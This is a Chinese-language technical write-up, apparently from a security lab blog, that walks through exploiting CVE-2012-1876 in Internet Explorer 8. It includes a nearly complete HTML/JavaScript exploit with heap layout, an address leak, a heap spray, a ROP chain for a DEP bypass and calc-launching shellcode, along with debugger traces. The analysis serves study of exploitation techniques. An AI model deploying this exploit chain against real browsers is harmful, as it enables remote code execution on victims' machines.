Author: xd0ol1 (知道創宇404實驗室)

0x00 引子

前面一篇文章我們分析了CVE-2012-1876漏洞的成因,在此基礎上我們接著看下漏洞的利用,另外,寫的不對之處還望各位多多指正:D

0x01 漏洞利用

首先說明一點,我們這里討論的利用方法如今大都存在防護手段了,比如用戶模式下的EMET相對而言就加大了exploit的開發難度,但出于學習目的我們先不考慮這些。同時,和之前一樣這里的分析環境也為Win7 x86 - IE 8.0.7601.17514。

0. Exp

本次分析中用到的Exp代碼如下:

<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed"><col id="132" width="41" span="9">&nbsp;</col></table>
<script language='javascript'>

//將字符串轉換為整數
function strtoint(str) {
    return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

//初始化布局的字符串變量
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;

var fr = new Array();
var al = new Array();
var bl = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";

//接著按字符串E、字符串A、字符串B、CButtonLayout對象進行堆空間布局
for (var i=0; i < 500; i+=2) {
    fr[i] = free.substring(0, (0x100-6)/2);
    al[i] = string1.substring(0, (0x100-6)/2);
    bl[i] = string2.substring(0, (0x100-6)/2);
    var obj = document.createElement("button");
    div_container.appendChild(obj);
}

//釋放布局后字符串E對應的堆空間
for (var i=200; i<500; i+=2 ) {
    fr[i] = null;
    CollectGarbage();
}

//進行ROP鏈中Gadget地址和參數的布局,并與填充數據以及shellcode拼接完成堆噴數據的初始化
//最后執行堆噴將這些數據布局到內存中
function heapspray(cbuttonlayout) {
    CollectGarbage();
    //處理各個Gadget的地址信息
    var rop = cbuttonlayout + 4161; // RET
    var rop = rop.toString(16);
    var rop1 = rop.substring(4,8);
    var rop2 = rop.substring(0,4); // } RET

    //......省略,可參見https://www.exploit-db.com/exploits/24017/

    var rop = cbuttonlayout + 408958; // PUSH ESP
    var rop = rop.toString(16);
    var rop23 = rop.substring(4,8);
    var rop24 = rop.substring(0,4); // } RET

    var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING
    shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING
    shellcode+= unescape("%u4141%u4141"); // PADDING

    //ROP鏈中的Gadget地址和參數布局,以實現棧轉移和DEP繞過
    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN
    shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
    shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP
    shellcode+= unescape("%u1024%u0000"); // Size 0x00001024
    shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX
    shellcode+= unescape("%u0040%u0000"); // 0x00000040
    shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX
    shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location
    shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI
    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET
    shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI
    shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX
    shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX
    shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()
    shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]
    shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD
    shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP
    shellcode+= unescape("%u9090%u9090"); // NOPs
    shellcode+= unescape("%u9090%u9090"); // NOPs
    shellcode+= unescape("%u9090%u9090"); // NOPs

    //彈出計算器的shellcode
    shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + 
                             "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + 
                             "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + 
                             "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + 
                             "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + 
                             "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + 
                             "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + 
                             "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + 
                             "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + 
                             "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + 
                             "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + 
                             "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + 
                             "%u6c61%u2e63%u7865%u0065");

    //初始化堆噴數據
    var padding = unescape("%u9090");
    while (padding.length < 1000)
        padding = padding + padding;
    var padding = padding.substr(0, 1000 - shellcode.length);
    shellcode+= padding;
    while (shellcode.length < 100000)
        shellcode = shellcode + shellcode;
    var onemeg = shellcode.substr(0, 64*1024/2);
    for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
    }
    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

    //通過堆噴布局rop和shellcode
    var spray = new Array();
    for (i=0; i<100; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
    }
}

//觸發第一次堆溢出用以獲取泄露的mshtml模塊基址
function leak() {
    var leak_col = document.getElementById("132");
    leak_col.width = "41";
    leak_col.span = "19";
}

//計算mshtml模塊基址,并通過堆噴進行rop和shellcode布局
function get_leak() {
    var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
    str_addr = str_addr - 1410704;
    setTimeout(function(){heapspray(str_addr)}, 50);
}

//觸發第二次堆溢出用以覆蓋虛表指針,使程序轉到rop處執行
function trigger_overflow() {
    var evil_col = document.getElementById("132");
    evil_col.width = "1278888";
    evil_col.span = "29";
}

setTimeout(function(){leak()}, 400);
setTimeout(function(){get_leak()}, 450);
setTimeout(function(){trigger_overflow()}, 1000);

</script>
</body>
</html>

Exp執行完成后會彈出一個計算器,下面我們對其中利用到的各個技術點展開來討論。

1. ROP

ROP(Return-oriented Programming)是一種區別于代碼注入的技術,它利用進程已加載模塊中的代碼實現所需的操作。其中有個重要的概念叫Gadget,即以ret指令結束的代碼小片段,我們知道ret指令等價于pop+jmp,因此可用來控制程序的執行流程。此技術正是通過控制棧空間的布局,即精心排列好的返回地址和參數,從而將各個Gadget拼接起來,最終實現想要的代碼功能。我們來看如下的一個例子:

圖0??ROP 的應用示例

棧里面是放置好的返回地址和參數,中間是各個Gadget,最開始會執行一條ret指令,程序彈出返回地址0xb8800000并跳到該地址處執行,此時棧頂指向參數0x00000001,接著第一個Gadget中會將該參數pop到eax寄存器中,執行完后棧頂指向返回地址0xb8801000,而后再次執行ret指令彈出該返回地址并跳過去執行,如此往復就實現了Action中對應的功能。可以看到,雖然每個Gadget只實現了一小部分操作,但拼接起來卻是別有洞天,Exp中正是利用的此技巧。

2. ASLR

要想使用ROP技術,首先需要確定Gadget從哪里來,現今的操作系統一般采用ASLR(Address space layout randomization)技術對程序各模塊、堆棧等線性區布局進行隨機化處理,以增加攻擊者預測目的地址的難度,從如下示意圖可以看到程序每次啟動后的進程地址空間分布都是隨機的:

圖1??ASLR 技術示意圖

因此我們需要想辦法動態獲取模塊的基址,這樣才能保證準確獲取到Gadget,此Exp就是基于動態泄露的mshtml.dll模塊基址實現的。通過相關資料我們知道讀取mshtml!CButtonLayout對象的vftable值可以計算出mshtml.dll模塊的基址,因為該值位于此模塊中的固定偏移處,所以可被利用,接下來我們就分析下如何借助CVE-2012-1876這個漏洞來獲取mshtml.dll模塊的基址。

最開始需要對堆空間進行布局,關鍵代碼如下:

//初始化布局字符串變量
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
......
//進行堆空間的布局
for (var i=0; i < 500; i+=2) {
    fr[i] = free.substring(0, (0x100-6)/2);
    al[i] = string1.substring(0, (0x100-6)/2);
    bl[i] = string2.substring(0, (0x100-6)/2);
    var obj = document.createElement("button");
    div_container.appendChild(obj);
}
//釋放布局后的某些堆空間
for (var i=200; i<500; i+=2 ) {
    fr[i] = null;
    CollectGarbage();
}

上述代碼中的字符串將會分配到堆空間上,并且被轉換成了BSTR對象,此對象包含頭部和尾部,字符以unicode存儲,頭部4個字節表示字符串長度,尾部2個字節表示結束。比如執行一次下述代碼:

al[i] = string1.substring(0, (0x100-6)/2);

與其對應的內存結構就應該如下:

圖2??字符串在內存中的布局結構

代碼在布局時會連續填充字符串,由堆空間管理的性質可知分配的這些堆空間最終會緊挨在一起,因此內存中的分布會如上圖那樣彼此間相鄰。同時,這里還利用了堆空間管理中的另一性質,即當某塊堆空間被釋放后如果接下來又有新的申請堆空間操作且此釋放掉的空間大小合適,那么會將釋放掉的該堆空間重新分配給此時的申請操作。我們注意下面代碼:

<table style="table-layout:fixed"><col id="132" width="41" span="9">&nbsp;</col></table>

就這里來說,程序將為其分配0x1C*9=0xFC字節大小的堆空間,而在布局時釋放掉的那些堆空間大小為0x100字節,所以最后釋放掉的那塊堆空間將會重新分配來保存column的樣式信息,最終內存中的分布會是如下這個樣子:

圖3??堆溢出前內存中的布局結構

為了計算mshtml.dll模塊的基址,我們需要獲取黃色區域標識的vftable數值,這里利用了堆溢出,同樣,也是通過js代碼動態更新span屬性值的方式來達到目的:

function leak() {
    var leak_col = document.getElementById("132");
    leak_col.width = "41";
    leak_col.span = "19";
}

由于寫入的樣式信息個數超過了申請的堆空間所能容納的個數,所以會造成堆溢出,此時的內存布局如下:

圖4??堆溢出后內存中的布局結構

可以看到字符串B對應的長度字段值由原來的0x000000fa變成了0x00010048,因此該對象能訪問的內存空間變廣了,這樣我們就能通過如下代碼獲取到CButtonLayout對象的vftable值,也就是黃色區域標識的數值,并最終計算得到mshtml.dll模塊的基址:

wzxhzdk:5

我們可以驗證下:

wzxhzdk:6

其中,0x6b8e8690-1410704=0x6B790000,因此mshtml.dll模塊的基址就成功獲取到了。

3. Heap Spray

在得到mshtml.dll模塊的基址后,我們就有機會構造相應ROP鏈來實現想要的功能了,那么現在需要解決另一個問題,也就是如何讓程序跳到我們的ROP鏈中執行。此Exp首先會利用堆噴技術將ROP鏈中的Gadget地址和參數以及后面用到的shellcode布局到進程地址空間中的固定位置,而后再利用堆溢出重寫CButtonLayout對象的虛表指針,使其指向前面提到的固定位置,這樣當虛函數被調用時就會跳轉到我們的ROP鏈中。

簡單來說,堆噴是一種payload布局技術,能夠保證將payload放置到我們可預測的地址處。接下來我們通過此Exp來跟一下這個過程,首先看下CButtonLayout對象的虛表指針是如何控制調用流程的:

圖5??正常情況下的虛表指針(黃色標識)

wzxhzdk:7

注意到最后的那個call調用,跳轉地址是由虛表指針指向的內容決定的,如果我們將這個指針改掉,使其指向我們能夠控制的且包含ROP+shellcode的地址空間,那么我們的目的也就達到了。同樣,堆溢出還是通過動態修改span屬性值的方式來觸發,其中,span的值需要保證溢出到虛表指針處,而width的值我們留在后面討論:

wzxhzdk:8

溢出后內存中的分布就變成了下述樣子,原先的虛表指針被重寫了,對應數值為width屬性值1278888*100=0x079f6da0:

圖6??通過堆溢出重寫虛表指針

而0x079f6da0這個地址對應的進程空間我們可以通過堆噴進行控制,此時其中的內容為:

圖7??ROP+shellcode在進程空間中的分布

接下來我們重點看下堆噴,如下是由Vmmap工具觀察到的堆噴時進程地址空間的變化情況,其中,橘黃色標識的部分為堆空間數據,這里總共噴了100M字節大小的數據,從時間圖可以看出堆空間的分配有個急劇的增長過程:

圖8??堆噴時的進程地址空間變化

如下是單次堆噴數據的組織形式:

    //初始化堆噴數據
    var padding = unescape("%u9090");
    while (padding.length < 1000)
        padding = padding + padding;
    var padding = padding.substr(0, 1000 - shellcode.length);
    shellcode+= padding;
    while (shellcode.length < 100000)
        shellcode = shellcode + shellcode;
    var onemeg = shellcode.substr(0, 64*1024/2);
    for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
    }
    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

需要注意一點,通過函數unescape可以避免字符被轉成unicode,同時雖然從代碼上看包含ROP+shellcode+padding的一個基本單元占的是1000字節,但內存中實際分配了2000字節,這也是為什么有那么多除2操作的原因了,代碼給出的是從2000字節->0x10000字節->0x100000字節的組織過程。此外,由于堆空間管理的對齊性質,當然了,還有前面提到的彼此相鄰的性質,所以分配到的堆空間將類似下面這個樣子:

圖9??堆噴時分配到的堆空間(部分)

通過分析可以知道對于申請大小為0x100000字節的堆空間會有0x24字節的首部和0x02字節的尾部,同時Exp中在ROP+shellcode之前會有如下的填充字節:

    var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343");
    shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343");
    shellcode+= unescape("%u4141%u4141"); // PADDING

綜上分析,我們就可以計算出ROP+shellcode在進程空間中的分布情況了,如下代碼是用于計算從地址空間0x07500000開始到0x08000000中符合條件的所有width屬性值,從中選出一個能穩定利用的就可以了:

    for(i=0x07500000; i < 0x08000000; i += 0x10000)
    {
        for(j=0x40; j < 0x10000; j += 2000)
        {
            if((i+j)%100 == 0){
                printf("%d ", (i+j)/100);
            }
        }
    }

得到的結果如下,只列出了部分,這也就是為什么我們可以通過堆噴的方式來對payload進行布局了,首先需要設計好包含ROP+shellcode的堆噴數據,而后借助堆噴技術就能將其布局到我們可以預測的地址處了:

圖10??Exp中滿足條件的width屬性值

4. Stack Pivot

我們現在已經能夠將程序的執行流程引到我們的ROP鏈中了,但不要忘了目前的ROP信息是處在堆空間上的,而ROP技術中Gadget地址和參數是要布局到棧上的,這樣才能借住ret指令控制程序的流程。所以我們還需要利用棧轉移技術,也就是把這里的堆地址寫入到esp寄存器中,這樣程序就會認為我們的ROP信息是保存在棧空間中的。要做到這一點我們必須在最開始的Gadget上尋求解決辦法,通過分析可以發現如果接下來的Gadget中能把eax寄存器的值和esp做個對調,那么就能實現棧轉移了,如下是此Exp中的實現,完成棧轉移后接下來的流程就能由ROP鏈來控制了:

0:005> g
Breakpoint 1 hit
eax=079f6da0 ebx=01000000 ecx=02f22610 edx=00000041 esi=0232cfd8 edi=02f1f108
eip=6b8fe663 esp=0232ce18 ebp=0232ce48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!NotifyElement+0x3d:
6b8fe663 56              push    esi
0:005> p
eax=079f6da0 ebx=01000000 ecx=02f22610 edx=00000041 esi=0232cfd8 edi=02f1f108
eip=6b8fe664 esp=0232ce14 ebp=0232ce48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!NotifyElement+0x3e:
6b8fe664 ff5008          call    dword ptr [eax+8]    ds:0023:079f6da8=6b74b43b
0:005> dd eax
079f6da0  6b731041 6b732c60 6b74b43b 6b732c60
079f6db0  6b732c60 6b733059 00001024 6b7cced0
079f6dc0  00000040 6b732fa9 6bc6fe20 6b7330ae
079f6dd0  6b731041 6b732f0b 6b73f920 6b744ef7
079f6de0  6b731348 6b79f0bb 6b7694a1 6b793d7e
079f6df0  90909090 90909090 90909090 0089e8fc
079f6e00  89600000 64d231e5 8b30528b 528b0c52
079f6e10  28728b14 264ab70f c031ff31 7c613cac
0:005> u 6b74b43b L3
mshtml!CTreeNode::GetParentWidth+0x9c:
6b74b43b 94              xchg    eax,esp
6b74b43c c3              ret
6b74b43d 8bf0            mov     esi,eax
0:005> t
eax=079f6da0 ebx=01000000 ecx=02f22610 edx=00000041 esi=0232cfd8 edi=02f1f108
eip=6b74b43b esp=0232ce10 ebp=0232ce48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTreeNode::GetParentWidth+0x9c:
6b74b43b 94              xchg    eax,esp
0:005> p
eax=0232ce10 ebx=01000000 ecx=02f22610 edx=00000041 esi=0232cfd8 edi=02f1f108
eip=6b74b43c esp=079f6da0 ebp=0232ce48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTreeNode::GetParentWidth+0x9d:
6b74b43c c3              ret
0:005> dd esp
079f6da0  6b731041 6b732c60 6b74b43b 6b732c60
079f6db0  6b732c60 6b733059 00001024 6b7cced0
079f6dc0  00000040 6b732fa9 6bc6fe20 6b7330ae
079f6dd0  6b731041 6b732f0b 6b73f920 6b744ef7
079f6de0  6b731348 6b79f0bb 6b7694a1 6b793d7e
079f6df0  90909090 90909090 90909090 0089e8fc
079f6e00  89600000 64d231e5 8b30528b 528b0c52
079f6e10  28728b14 264ab70f c031ff31 7c613cac

棧轉移就是要把布局有ROP信息的堆地址放到esp寄存器中,可以通過交換或者寫入的方式,比如mov、pop、xchg等,當然,具體使用什么樣的Gadget還需要由當前程序的特點來決定。

5. DEP

下面進入最后一部分內容,我們的最終目的是要執行內存中布置好的shellcode,但由于系統采用了DEP(Data Execution Prevention)技術,它會借助一系列的軟硬件方法對內存進行檢查,所以堆棧上的shellcode是不能直接執行的。接下來我們就分析下此Exp是如何進行DEP繞過的,也就是ROP部分實現的功能,如下是利用堆棧執行惡意操作的示意圖:

圖11??利用堆棧執行惡意操作

首先我們介紹下VirtualProtect函數,它可用來改變進程中頁面的保護屬性,具體定義如下:

wzxhzdk:13

其中,lpAddress和dwSize表示待設置頁面的起始地址和大小,flNewProtect為保護方式,當它的值為0x00000040時表示PAGE_EXECUTE_READWRITE,這正是我們后面要設置的,lpflOldProtect則指向可寫區域用于保存原先的保護屬性。

ROP鏈中將借助此函數來改變shellcode所在堆空間的頁面保護屬性,通過跟蹤可知當棧轉移完成后就進入到ROP鏈的執行流程,剛開始的幾個Gadget會先將VirtualProtect的調用參數pop到相應寄存器中,而后再執行pushad指令將這些寄存器壓入棧中,即模擬call調用時的參數壓棧操作,最后調用VirtualProtect函數來修改頁面的保護屬性,我們可以看下這個過程:

wzxhzdk:14

最終程序會轉到彈出計算器的shellcode上執行。

0x02 參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/182/